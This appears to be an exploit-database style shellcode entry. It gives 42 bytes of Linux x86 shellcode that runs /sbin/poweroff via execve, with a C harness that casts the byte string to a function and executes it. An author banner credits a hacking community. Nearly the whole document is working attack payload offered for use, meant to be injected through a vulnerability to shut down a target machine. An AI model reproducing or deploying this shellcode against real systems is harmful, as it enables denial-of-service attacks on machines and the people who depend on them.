linux/x86 execve("/sbin/poweroff") + exit(0) - 42 bytes

/*

+=========================================================================================================
| # Exploit Title  : linux/x86 execve("/sbin/poweroff") + exit(0) - 42 bytes
| # Exploit Author : Febriyanto Nugroho
| # Tested on      : Linux Debian 5.0.5 
| --------------------------------------------------------------------------------------------------------
| # Thank's to     : xevil, CyberKaze, X-Cisadane, Deyubi-Cyber, Deflectoz, justinisal, Bomber88, 
|                    ame, d0ey_Grunch, bh0ttu, Revil, and all Bogor Hackers Community member and crew ...                                              
+=========================================================================================================

 */


#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x72\x6f\x66"
                  "\x66\x68\x70\x6f\x77\x65\x68"
                  "\x6e\x2f\x2f\x2f\x68\x2f\x73"
                  "\x62\x69\x89\xe3\x50\x53\x89"
                  "\xe1\xb0\x0b\xcd\x80\x31\xc0"
                  "\x50\x89\xe3\xb0\x01\xcd\x80";

int main(int argc, char *argv[]) {
printf("shellcode length ->  %d bytes\n", (int)strlen(shellcode));
int (*ret)()=(int(*)())shellcode;
ret();
return 0;
}